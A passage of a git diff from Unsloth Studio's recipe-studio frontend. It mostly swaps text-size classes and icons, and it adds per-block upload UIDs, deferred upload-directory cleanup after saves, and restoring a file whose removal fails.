+              title={`Done: ${formatMetricValue(execution.progress?.done)}`}
+            >
               Done: {formatMetricValue(execution.progress?.done)}
             </p>
-            <p className="truncate" title={`Total: ${formatMetricValue(execution.progress?.total)}`}>
+            <p
+              className="truncate"
+              title={`Total: ${formatMetricValue(execution.progress?.total)}`}
+            >
               Total: {formatMetricValue(execution.progress?.total)}
             </p>
-            <p className="truncate" title={`Rate: ${formatMetricValue(execution.progress?.rate)}`}>
+            <p
+              className="truncate"
+              title={`Rate: ${formatMetricValue(execution.progress?.rate)}`}
+            >
               Rate: {formatMetricValue(execution.progress?.rate)}
             </p>
-            <p className="truncate" title={`ETA: ${formatEta(execution.progress?.eta_sec)}`}>
+            <p
+              className="truncate"
+              title={`ETA: ${formatEta(execution.progress?.eta_sec)}`}
+            >
               ETA: {formatEta(execution.progress?.eta_sec)}
             </p>
           </div>
           {showSourceProgress ? (
-            <div className="mt-1 flex items-center gap-1.5 px-3 text-[11px] text-muted-foreground">
+            <div className="mt-1 flex items-center gap-1.5 px-3 text-ui-11 text-muted-foreground">
               <HugeiconsIcon
                 icon={Flag02Icon}
                 className="size-3.5 shrink-0 text-amber-700 dark:text-amber-300"
@@ -203,25 +217,23 @@ export function ExecutionProgressIsland({
               </p>
             </div>
           ) : (
-            <div className="mt-1 flex items-center gap-1.5 px-3 text-[11px] text-muted-foreground">
+            <div className="mt-1 flex items-center gap-1.5 px-3 text-ui-11 text-muted-foreground">
               <HugeiconsIcon
                 icon={currentColumnIcon}
                 className="size-3.5 shrink-0"
               />
-              <p
-                className="truncate"
-                title={execution.current_column ?? "--"}
-              >
+              <p className="truncate" title={execution.current_column ?? "--"}>
                 Column: {execution.current_column ?? "--"}
               </p>
             </div>
           )}
           {showBatch && (
             <div
-              className="mt-1 truncate px-3 text-[11px] text-muted-foreground"
+              className="mt-1 truncate px-3 text-ui-11 text-muted-foreground"
               title={`Batch: ${execution.batch?.idx ?? "--"}/${execution.batch?.total ?? "--"}`}
             >
-              Batch: {execution.batch?.idx ?? "--"}/{execution.batch?.total ?? "--"}
+              Batch: {execution.batch?.idx ?? "--"}/
+              {execution.batch?.total ?? "--"}
             </div>
           )}
           <div className="px-3 pb-2 pt-2">
@@ -229,7 +241,7 @@ export function ExecutionProgressIsland({
               type="button"
               variant="outline"
               size="sm"
-              className="h-7 w-full text-[11px]"
+              className="h-7 w-full text-ui-11"
               onClick={onViewExecutions}
             >
               View run details
diff --git a/studio/frontend/src/features/recipe-studio/components/shared/available-references-inline.tsx b/studio/frontend/src/features/recipe-studio/components/shared/available-references-inline.tsx
index fad7985ae1..ec75f59c05 100644
--- a/studio/frontend/src/features/recipe-studio/components/shared/available-references-inline.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/shared/available-references-inline.tsx
@@ -66,7 +66,7 @@ export function AvailableReferencesInline({
 
   return (
     <div className="space-y-1">
-      <p className="text-[10px] font-medium text-muted-foreground">
+      <p className="text-ui-10 font-medium text-muted-foreground">
         Available references
       </p>
       <div ref={wrapperRef} className="relative">
@@ -83,8 +83,8 @@ export function AvailableReferencesInline({
                   variant="secondary"
                   className={
                     entry.source === "seed"
-                      ? "corner-squircle h-4 border-blue-500/25 bg-blue-500/10 px-1.5 font-mono text-[10px] text-blue-700 dark:text-blue-300"
-                      : "corner-squircle h-4 px-1.5 font-mono text-[10px]"
+                      ? "corner-squircle h-4 border-blue-500/25 bg-blue-500/10 px-1.5 font-mono text-ui-10 text-blue-700 dark:text-blue-300"
+                      : "corner-squircle h-4 px-1.5 font-mono text-ui-10"
                   }
                 >
                   {entry.name}
@@ -100,8 +100,8 @@ export function AvailableReferencesInline({
               variant="secondary"
               className={
                 entry.source === "seed"
-                  ? "corner-squircle h-4 border-blue-500/25 bg-blue-500/10 px-1.5 font-mono text-[10px] text-blue-700 dark:text-blue-300"
-                  : "corner-squircle h-4 px-1.5 font-mono text-[10px]"
+                  ? "corner-squircle h-4 border-blue-500/25 bg-blue-500/10 px-1.5 font-mono text-ui-10 text-blue-700 dark:text-blue-300"
+                  : "corner-squircle h-4 px-1.5 font-mono text-ui-10"
               }
             >
               {entry.name}
@@ -110,7 +110,7 @@ export function AvailableReferencesInline({
           {!expanded && hiddenCount > 0 && (
             <button
               type="button"
-              className="corner-squircle h-4 px-1.5 text-[10px] text-muted-foreground hover:text-foreground"
+              className="corner-squircle h-4 px-1.5 text-ui-10 text-muted-foreground hover:text-foreground"
               onClick={() => setExpanded(true)}
             >
               +{hiddenCount} more
@@ -119,7 +119,7 @@ export function AvailableReferencesInline({
           {expanded && collapsedCount < entries.length && (
             <button
               type="button"
-              className="corner-squircle h-4 px-1.5 text-[10px] text-muted-foreground hover:text-foreground"
+              className="corner-squircle h-4 px-1.5 text-ui-10 text-muted-foreground hover:text-foreground"
               onClick={() => setExpanded(false)}
             >
               Show less
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx b/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx
index c333fd84f8..48229ecdcc 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/models/local-recipe-model-selector.tsx
@@ -190,7 +190,7 @@ function LocalGgufVariantList({
 
   return (
     <div className="ml-6 mt-1 rounded-lg bg-muted/25 p-1.5">
-      <div className="mb-1 px-2 text-[10px] font-medium uppercase tracking-wide text-muted-foreground">
+      <div className="mb-1 px-2 text-ui-10 font-medium uppercase tracking-wide text-muted-foreground">
         Quantization
       </div>
       <div className="space-y-0.5">
@@ -210,12 +210,12 @@ function LocalGgufVariantList({
                 {variant.quant}
               </span>
               {variant.quant === defaultVariant ? (
-                <Badge variant="secondary" className="h-4 px-1.5 text-[10px]">
+                <Badge variant="secondary" className="h-4 px-1.5 text-ui-10">
                   recommended
                 </Badge>
               ) : null}
               {variant.downloaded ? (
-                <Badge variant="outline" className="h-4 px-1.5 text-[10px]">
+                <Badge variant="outline" className="h-4 px-1.5 text-ui-10">
                   ready
                 </Badge>
               ) : null}
@@ -276,7 +276,7 @@ const SelectorTrigger = forwardRef<HTMLButtonElement, SelectorTriggerProps>(
             {selected.label || "Choose a local model"}
           </span>
           {compact ? null : (
-            <span className="mt-0.5 flex min-w-0 items-center gap-1.5 text-[11px] text-muted-foreground">
+            <span className="mt-0.5 flex min-w-0 items-center gap-1.5 text-ui-11 text-muted-foreground">
               <span className="truncate">
                 {selected.label
                   ? selected.source
@@ -292,7 +292,7 @@ const SelectorTrigger = forwardRef<HTMLButtonElement, SelectorTriggerProps>(
         {compact && ggufVariant ? (
           <Badge
             variant="secondary"
-            className="h-4 px-1.5 font-mono text-[10px]"
+            className="h-4 px-1.5 font-mono text-ui-10"
           >
             {ggufVariant}
           </Badge>
@@ -347,7 +347,7 @@ function LocalModelRow({
           <span className="block truncate font-medium">
             {getModelLabel(model)}
           </span>
-          <span className="mt-0.5 block truncate text-[11px] text-muted-foreground">
+          <span className="mt-0.5 block truncate text-ui-11 text-muted-foreground">
             {model.id}
           </span>
         </span>
@@ -356,11 +356,11 @@ function LocalModelRow({
             <Spinner className="size-3 text-muted-foreground" />
           ) : null}
           {expandable || directGguf ? (
-            <Badge variant="secondary" className="h-4 px-1.5 text-[10px]">
+            <Badge variant="secondary" className="h-4 px-1.5 text-ui-10">
               GGUF
             </Badge>
           ) : null}
-          <Badge variant="outline" className="h-4 px-1.5 text-[10px]">
+          <Badge variant="outline" className="h-4 px-1.5 text-ui-10">
             {sourceLabel(model)}
           </Badge>
         </span>
@@ -577,7 +577,8 @@ export function LocalRecipeModelSelector({
   );
 
   return (
-    <Popover open={open} onOpenChange={handleOpenChange}>
+    // modal keeps the list wheel-scrollable inside dialog scroll locks
+    <Popover open={open} onOpenChange={handleOpenChange} modal={true}>
       <PopoverTrigger asChild={true}>
         <SelectorTrigger
           value={value}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
index 383c9718f2..6d68f8e2e4 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
@@ -82,7 +82,7 @@ export function ModelProviderDialog({
             type="button"
             className={`rounded-xl border px-4 py-3 text-left transition-colors ${
               isLocal
-                ? "border-primary/40 bg-primary/5"
+                ? "border-ring-strong bg-primary/5"
                 : "border-border/60 bg-muted/10 hover:border-border"
             }`}
             onClick={() =>
@@ -105,7 +105,7 @@ export function ModelProviderDialog({
             type="button"
             className={`rounded-xl border px-4 py-3 text-left transition-colors ${
               !isLocal
-                ? "border-primary/40 bg-primary/5"
+                ? "border-ring-strong bg-primary/5"
                 : "border-border/60 bg-muted/10 hover:border-border"
             }`}
             onClick={() => onUpdate({ is_local: false })}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx
index 7bcf47a974..f2ef34df8c 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/preview-dialog.tsx
@@ -17,10 +17,10 @@ import {
 } from "@/components/ui/dialog";
 import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
   AlertCircleIcon,
-  ArrowDown01Icon,
   CheckmarkCircle02Icon,
   CookBookIcon,
   TestTube01Icon,
@@ -413,7 +413,7 @@ function RunDialogBody({
             className="flex items-center gap-2 text-xs font-semibold uppercase tracking-wide text-muted-foreground hover:text-foreground"
           >
             <HugeiconsIcon
-              icon={ArrowDown01Icon}
+              icon={ChevronDownStandardIcon}
               className={cn(
                 "size-3.5 transition-transform",
                 advancedOpen && "rotate-180",
@@ -615,7 +615,9 @@ function RunDialogBody({
                     0,
                     MAX_RETRY_STEPS,
                     (value) =>
-                      onSettingsChange({ maxConversationCorrectionSteps: value }),
+                      onSettingsChange({
+                        maxConversationCorrectionSteps: value,
+                      }),
                     setCorrectionsDraft,
                   )
                 }
@@ -624,7 +626,8 @@ function RunDialogBody({
                 <div className="space-y-0.5">
                   <p className="font-medium">Keep running through failures</p>
                   <p className="text-xs text-muted-foreground">
-                    Useful for longer runs when you want as many rows as possible.
+                    Useful for longer runs when you want as many rows as
+                    possible.
                   </p>
                 </div>
                 <Switch
@@ -650,7 +653,7 @@ function RunDialogBody({
             />
             <Badge
               variant="outline"
-              className="rounded-full text-[10px] text-destructive"
+              className="rounded-full text-ui-10 text-destructive"
             >
               Before you run
             </Badge>
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
index 0ed7eeed75..fedd603a9d 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
@@ -53,6 +53,11 @@ import {
   inspectSeedDataset,
   inspectSeedUpload,
 } from "../../api";
+import { useRecipeStudioStore } from "../../stores/recipe-studio";
+import {
+  makeUnstructuredUploadUid,
+  resolveUnstructuredUploadBlockId,
+} from "../../utils/config-factories";
 import { resolveImagePreview } from "../../utils/image-preview";
 import type {
   GithubItemType,
@@ -314,7 +319,7 @@ export function GithubRepoSeedForm({
             hint="Prefer the server GH_TOKEN / GITHUB_TOKEN env var. Use public_repo for public repos or repo for private repos."
           />
           {usingEnvToken && (
-            <span className="shrink-0 rounded-md border border-emerald-500/40 bg-emerald-500/10 px-1.5 py-0.5 text-[10px] font-medium text-emerald-700 dark:text-emerald-300">
+            <span className="shrink-0 rounded-md border border-emerald-500/40 bg-emerald-500/10 px-1.5 py-0.5 text-ui-10 font-medium text-emerald-700 dark:text-emerald-300">
               Using server env var
             </span>
           )}
@@ -597,6 +602,41 @@ export function SeedDialog({
   const mode = config.seed_source_type ?? "hf";
   const previewEmpty = getPreviewEmptyStateCopy(mode);
 
+  const queueUploadCleanup = useRecipeStudioStore(
+    (state) => state.queueUploadCleanup,
+  );
+
+  // config.id collides across recipes (ids reset to n1 on import); use a
+  // stable per-block uid instead. Generate one synchronously so the first
+  // rendered drop zone cannot upload under a legacy node id.
+  const uploadUid = config.unstructured_upload_uid?.trim() ?? "";
+  const unstructuredFileCount = config.unstructured_file_ids?.length ?? 0;
+  const generatedUploadUidRef = useRef<string | null>(null);
+  if (
+    mode === "unstructured" &&
+    !uploadUid &&
+    unstructuredFileCount === 0 &&
+    generatedUploadUidRef.current === null
+  ) {
+    generatedUploadUidRef.current = makeUnstructuredUploadUid();
+  }
+  const uploadBlockId = resolveUnstructuredUploadBlockId({
+    configId: config.id,
+    uploadUid,
+    generatedUploadUid: generatedUploadUidRef.current,
+    unstructuredFileCount,
+  });
+
+  useEffect(() => {
+    if (mode !== "unstructured") return;
+    if (uploadUid) return;
+    if (unstructuredFileCount > 0) return;
+    const nextUid =
+      generatedUploadUidRef.current ?? makeUnstructuredUploadUid();
+    generatedUploadUidRef.current = nextUid;
+    onUpdate({ unstructured_upload_uid: nextUid });
+  }, [mode, uploadUid, unstructuredFileCount, onUpdate]);
+
   const prevModeRef = useRef(mode);
   useEffect(() => {
     const prevMode = prevModeRef.current;
@@ -720,6 +760,11 @@ export function SeedDialog({
             subset: config.hf_subset?.trim() || undefined,
             preview_size: 10,
           });
+          // Queue the block's upload directory for deletion after the next
+          // save; only uid-namespaced directories qualify (single owner).
+          if (uploadUid && unstructuredFileCount > 0) {
+            queueUploadCleanup(uploadUid);
+          }
           onUpdate({
             hf_path: response.resolved_path,
             seed_columns: response.columns,
@@ -730,6 +775,7 @@ export function SeedDialog({
             hf_split: response.split ?? "",
             hf_subset: response.subset ?? "",
             local_file_name: "",
+            unstructured_upload_uid: "",
             unstructured_file_ids: [],
             unstructured_file_names: [],
             unstructured_file_sizes: [],
@@ -754,6 +800,11 @@ export function SeedDialog({
             content_base64: payload,
             preview_size: 10,
           });
+          // Queue the block's upload directory for deletion after the next
+          // save; only uid-namespaced directories qualify (single owner).
+          if (uploadUid && unstructuredFileCount > 0) {
+            queueUploadCleanup(uploadUid);
+          }
           onUpdate({
             hf_path: response.resolved_path,
             seed_columns: response.columns,
@@ -765,6 +816,7 @@ export function SeedDialog({
             hf_subset: "",
             hf_split: "",
             local_file_name: localFile.name,
+            unstructured_upload_uid: "",
             unstructured_file_ids: [],
             unstructured_file_names: [],
             unstructured_file_sizes: [],
@@ -789,7 +841,7 @@ export function SeedDialog({
 
           const { chunkSize, chunkOverlap } = resolveChunking(config);
           const response = await inspectSeedUpload({
-            block_id: config.id,
+            block_id: uploadBlockId,
             file_ids: fileIds,
             file_names: fileNames,
             preview_size: 10,
@@ -827,7 +879,18 @@ export function SeedDialog({
         setIsInspecting(false);
       }
     },
-    [config, getCurrentLoadKey, localFile, mode, onUpdate, unstructuredFiles],
+    [
+      config,
+      getCurrentLoadKey,
+      localFile,
+      mode,
+      onUpdate,
+      queueUploadCleanup,
+      unstructuredFiles,
+      unstructuredFileCount,
+      uploadBlockId,
+      uploadUid,
+    ],
   );
 
   useEffect(() => {
@@ -997,7 +1060,7 @@ export function SeedDialog({
 
           {mode === "unstructured" && (
             <UnstructuredDropZone
-              blockId={config.id}
+              blockId={uploadBlockId}
               files={unstructuredFiles}
               onFilesChange={handleUnstructuredFilesChange}
               disabled={isInspecting}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
index 4e9347e02e..bb03c1f125 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
@@ -54,11 +54,17 @@ export function UnstructuredDropZone({
 }: UnstructuredDropZoneProps) {
   const inputRef = useRef<HTMLInputElement>(null);
   const filesRef = useRef(files);
+  const blockIdRef = useRef(blockId);
+  const mountedRef = useRef(true);
   const [isDragOver, setIsDragOver] = useState(false);
 
   useEffect(() => {
     filesRef.current = files;
-  }, [files]);
+    blockIdRef.current = blockId;
+  }, [files, blockId]);
+  useEffect(() => () => {
+    mountedRef.current = false;
+  }, []);
 
   const totalSize = files.reduce((sum, f) => sum + f.size, 0);
 
@@ -134,15 +140,32 @@ export function UnstructuredDropZone({
       if (entry.status === "uploading" && entry.abortController) {
         entry.abortController.abort();
       }
-      if (
+      const needsServerRemove =
         entry.id &&
         entry.status === "ok" &&
-        !deletedIdsRef.current.has(entry.id)
-      ) {
-        deletedIdsRef.current.add(entry.id);
-        void removeUnstructuredFile(blockId, entry.id).catch(() => {});
-      }
+        !deletedIdsRef.current.has(entry.id);
       onFilesChange((prev) => prev.filter((_, i) => i !== index));
+      if (!needsServerRemove) return;
+      deletedIdsRef.current.add(entry.id);
+      removeUnstructuredFile(blockId, entry.id).catch(() => {
+        // Skip if the drop zone unmounted or its block changed: the id no
+        // longer belongs here and restoring would leak it into another block.
+        if (!mountedRef.current || blockIdRef.current !== blockId) return;
+        // Still exists server-side (counts toward quota); restore it at its
+        // original position.
+        deletedIdsRef.current.delete(entry.id);
+        onFilesChange((prev) => {
+          const next = [...prev];
+          next.splice(Math.min(index, next.length), 0, {
+            id: entry.id,
+            name: entry.name,
+            size: entry.size,
+            status: "ok",
+            error: "Remove failed — try again",
+          });
+          return next;
+        });
+      });
     },
     [blockId, onFilesChange],
   );
@@ -188,7 +211,7 @@ export function UnstructuredDropZone({
       <div
         className={`nodrag flex cursor-pointer flex-col items-center justify-center rounded-md border-2 border-dashed px-4 py-6 text-center transition-colors ${
           isDragOver
-            ? "border-primary bg-primary/5"
+            ? "border-ring-strong bg-primary/5"
             : "border-muted-foreground/25 hover:border-muted-foreground/50"
         } ${disabled ? "pointer-events-none opacity-50" : ""}`}
         onDrop={handleDrop}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx b/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx
index cc4b4f55d9..16024f0b8d 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/shared/available-variables.tsx
@@ -2,12 +2,12 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Badge } from "@/components/ui/badge";
-import { ArrowDown01Icon } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { type ReactElement, useMemo, useState } from "react";
 import { useRecipeStudioStore } from "../../stores/recipe-studio";
-import { getAvailableVariableEntries } from "../../utils/variables";
 import { RECIPE_STUDIO_REFERENCE_BADGE_TONES } from "../../utils/ui-tones";
+import { getAvailableVariableEntries } from "../../utils/variables";
 
 type AvailableVariablesProps = {
   configId: string;
@@ -27,7 +27,10 @@ export function AvailableVariables({
   const [showUserFields, setShowUserFields] = useState(false);
   const configs = useRecipeStudioStore((state) => state.configs);
   const vars = getAvailableVariableEntries(configs, configId);
-  const variableNames = useMemo(() => new Set(vars.map((entry) => entry.name)), [vars]);
+  const variableNames = useMemo(
+    () => new Set(vars.map((entry) => entry.name)),
+    [vars],
+  );
   const hasUserRoot = variableNames.has("user");
   const userFieldEntries = useMemo(
     () =>
@@ -71,19 +74,22 @@ export function AvailableVariables({
               onClick={() => setShowUserFields((prev) => !prev)}
               className="cursor-pointer"
               aria-expanded={showUserFields}
-              aria-label={showUserFields ? "Hide user fields" : "Show user fields"}
+              aria-label={
+                showUserFields ? "Hide user fields" : "Show user fields"
+              }
             >
               <Badge variant="secondary" className={className}>
                 <span>{`{{ ${v.name} }}`}</span>
                 <HugeiconsIcon
-                  icon={ArrowDown01Icon}
+                  icon={ChevronDownStandardIcon}
                   className={`size-3 transition-transform ${showUserFields ? "rotate-180" : ""}`}
                 />
               </Badge>
             </button>
           );
         })}
-        {hasUserRoot && showUserFields &&
+        {hasUserRoot &&
+          showUserFields &&
           userFieldEntries.map((entry) => (
             <Badge
               key={`user-expanded:${entry.name}`}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx b/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx
index 91f86e0d1b..993852bacb 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/shared/collapsible-section-trigger.tsx
@@ -1,13 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
-import { ArrowDown01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
-  forwardRef,
   type ButtonHTMLAttributes,
   type ReactElement,
+  forwardRef,
 } from "react";
 
 type CollapsibleSectionTriggerProps = {
@@ -42,7 +42,7 @@ export const CollapsibleSectionTriggerButton = forwardRef<
     >
       <span className="flex min-w-0 items-center gap-2">
         <HugeiconsIcon
-          icon={ArrowDown01Icon}
+          icon={ChevronDownStandardIcon}
           className={cn(
             "size-3.5 shrink-0 transition-transform",
             open && "rotate-180",
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/tool-profile/tool-profile-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/tool-profile/tool-profile-dialog.tsx
index bf5a61ac00..802729fcd8 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/tool-profile/tool-profile-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/tool-profile/tool-profile-dialog.tsx
@@ -135,11 +135,11 @@ function McpServerCard({
                   <p className="truncate text-sm font-semibold text-foreground">
                     {summaryTitle}
                   </p>
-                  <Badge variant="outline" className="rounded-full text-[10px] uppercase">
+                  <Badge variant="outline" className="rounded-full text-ui-10 uppercase">
                     {transportLabel}
                   </Badge>
                   {toolsLabel ? (
-                    <Badge variant="secondary" className="rounded-full text-[10px]">
+                    <Badge variant="secondary" className="rounded-full text-ui-10">
                       {toolsLabel}
                     </Badge>
                   ) : null}
@@ -680,7 +680,7 @@ export function ToolProfileDialog({
                     <p className="text-xs font-semibold uppercase text-muted-foreground">
                       {providerName}
                     </p>
-                    <Badge variant="outline" className="rounded-full text-[10px]">
+                    <Badge variant="outline" className="rounded-full text-ui-10">
                       {toolNames.length}
                     </Badge>
                   </div>
diff --git a/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts b/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
index 0417a6dd22..2d91272469 100644
--- a/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
+++ b/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
@@ -4,11 +4,13 @@
 import { useCallback, useEffect, useMemo, useState } from "react";
 import { toastError, toastSuccess } from "@/shared/toast";
 import { normalizeNonEmptyName } from "@/utils";
+import { removeUnstructuredBlock } from "../api";
 import {
   buildSignature,
   copyTextToClipboard,
   formatSavedLabel,
 } from "../executions/execution-helpers";
+import { useRecipeStudioStore } from "../stores/recipe-studio";
 import { importRecipePayload, type RecipeSnapshot } from "../utils/import";
 import type { RecipePayloadResult } from "../utils/payload/types";
 
@@ -72,7 +74,10 @@ function stripApiKeys(value: unknown): unknown {
     !Array.isArray(output.env)
   ) {
     output.env = Object.fromEntries(
-      Object.keys(output.env as Record<string, unknown>).map((envKey) => [envKey, ""]),
+      Object.keys(output.env as Record<string, unknown>).map((envKey) => [
+        envKey,
+        "",
+      ]),
     );
   }
   return output;
@@ -82,10 +87,7 @@ function inferHfRepoIdFromPath(pathValue: unknown): string {
   if (typeof pathValue !== "string") {
     return "";
   }
-  const parts = pathValue
-    .trim()
-    .split("/")
-    .filter(Boolean);
+  const parts = pathValue.trim().split("/").filter(Boolean);
   if (parts.length >= 3 && parts[0] === "datasets") {
     return `${parts[1]}/${parts[2]}`;
   }
@@ -126,8 +128,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
     typeof ui?.seed_source_type === "string" ? ui.seed_source_type : null;
   const sourceType =
     typeof source?.seed_type === "string" ? source.seed_type : null;
-  const shouldResetHfState =
-    sourceType === "hf" || uiSourceType === "hf";
+  const shouldResetHfState = sourceType === "hf" || uiSourceType === "hf";
   const shouldResetLocalState =
     sourceType === "local" ||
     sourceType === "unstructured" ||
@@ -144,6 +145,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
       ui.seed_drop_columns = [];
       ui.seed_preview_rows = [];
       ui.local_file_name = "";
+      ui.unstructured_upload_uid = "";
       ui.unstructured_file_ids = [];
       ui.unstructured_file_names = [];
       ui.unstructured_file_sizes = [];
@@ -165,6 +167,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
       ui.seed_drop_columns = [];
       ui.seed_preview_rows = [];
       ui.local_file_name = "";
+      ui.unstructured_upload_uid = "";
       ui.unstructured_file_ids = [];
       ui.unstructured_file_names = [];
       ui.unstructured_file_sizes = [];
@@ -174,6 +177,43 @@ function sanitizeSeedForShare(payload: unknown): unknown {
   return root;
 }
 
+// Delete queued upload directories once a save stops referencing them, so a
+// reload before autosave can never leave the saved recipe pointing at
+// already-deleted files. Skips any uid the just-saved payload still uses.
+function drainQueuedUploadCleanups(
+  savedPayload: RecipePayloadResult["payload"],
+): void {
+  const pending = useRecipeStudioStore.getState().pendingUploadCleanups;
+  if (pending.length === 0) {
+    return;
+  }
+  const ui =
+    savedPayload && typeof savedPayload === "object"
+      ? (savedPayload as { ui?: Record<string, unknown> }).ui
+      : undefined;
+  const savedUid =
+    ui && typeof ui.unstructured_upload_uid === "string"
+      ? ui.unstructured_upload_uid
+      : "";
+  const ready = pending.filter((uid) => uid !== savedUid);
+  if (ready.length === 0) {
+    return;
+  }
+  for (const uid of ready) {
+    void removeUnstructuredBlock(uid)
+      .then(() => {
+        useRecipeStudioStore.setState((state) => ({
+          pendingUploadCleanups: state.pendingUploadCleanups.filter(
+            (pendingUid) => pendingUid !== uid,
+          ),
+        }));
+      })
+      .catch((error) => {
+        console.warn("Failed to clean up uploaded documents:", error);
+      });
+  }
+}
+
 export function useRecipePersistence({
   recipeId,
   initialRecipeName,
@@ -202,8 +242,10 @@ export function useRecipePersistence({
     () => buildSignature(normalizedWorkflowName, currentPayload),
     [currentPayload, normalizedWorkflowName],
   );
-  const isDirty = savedSignature.length > 0 && currentSignature !== savedSignature;
-  const saveTone: SaveTone = !isDirty && Boolean(lastSavedAt) ? "success" : "error";
+  const isDirty =
+    savedSignature.length > 0 && currentSignature !== savedSignature;
+  const saveTone: SaveTone =
+    !isDirty && Boolean(lastSavedAt) ? "success" : "error";
   const savedAtLabel = formatSavedLabel(lastSavedAt);
 
   useEffect(() => {
@@ -214,7 +256,9 @@ export function useRecipePersistence({
     setLastSavedAt(initialSavedAt);
     setCopied(false);
 
-    const parsed = importRecipePayload(JSON.stringify(initialPayload));
+    const parsed = importRecipePayload(JSON.stringify(initialPayload), {
+      preserveUnstructuredUploads: true,
+    });
     if (parsed.snapshot) {
       loadRecipe(parsed.snapshot);
     } else {
@@ -252,6 +296,7 @@ export function useRecipePersistence({
       });
       setLastSavedAt(result.updatedAt);
       setSavedSignature(buildSignature(nextName, currentPayload));
+      drainQueuedUploadCleanups(currentPayload);
     } catch (error) {
       console.error("Save recipe failed:", error);
       toastError("Save failed", "Could not save recipe.");
@@ -270,11 +315,28 @@ export function useRecipePersistence({
     return () => window.clearTimeout(timeoutId);
   }, [isDirty, persistRecipe, saveLoading]);
 
+  // Drain queued cleanups even when autosave is skipped: a net-zero edit (add
+  // then remove an unstructured seed before the 800ms debounce) keeps isDirty
+  // false, so the autosave effect never drains and the queued uid leaks its
+  // upload dir. Not-dirty means currentPayload equals the saved recipe, and
+  // drain skips the uid it still references, so only dirs no saved recipe
+  // points at are deleted (keeps the save-first invariant).
+  useEffect(() => {
+    if (!initialRecipeReady || isDirty || saveLoading) {
+      return;
+    }
+    drainQueuedUploadCleanups(currentPayload);
+  }, [currentPayload, initialRecipeReady, isDirty, saveLoading]);
+
   const copyRecipe = useCallback(async (): Promise<void> => {
     setCopied(false);
     try {
-      const safePayload = sanitizeSeedForShare(stripApiKeys(payloadResult.payload));
-      const ok = await copyTextToClipboard(JSON.stringify(safePayload, null, 2));
+      const safePayload = sanitizeSeedForShare(
+        stripApiKeys(payloadResult.payload),
+      );
+      const ok = await copyTextToClipboard(
+        JSON.stringify(safePayload, null, 2),
+      );
       if (!ok) {
         throw new Error("Clipboard not available.");
       }
diff --git a/studio/frontend/src/features/recipe-studio/recipe-studio-page.tsx b/studio/frontend/src/features/recipe-studio/recipe-studio-page.tsx
index ec9358ee0f..30302b86a7 100644
--- a/studio/frontend/src/features/recipe-studio/recipe-studio-page.tsx
+++ b/studio/frontend/src/features/recipe-studio/recipe-studio-page.tsx
@@ -670,7 +670,7 @@ export function RecipeStudioPage({
                 />
               </div>
               <div className="mt-4 space-y-2">
-                <p className="text-[11px] font-semibold uppercase tracking-wide text-primary">
+                <p className="text-ui-11 font-semibold uppercase tracking-wide text-primary">
                   Best place to start
                 </p>
                 <p className="text-sm font-semibold text-foreground">
diff --git a/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts b/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
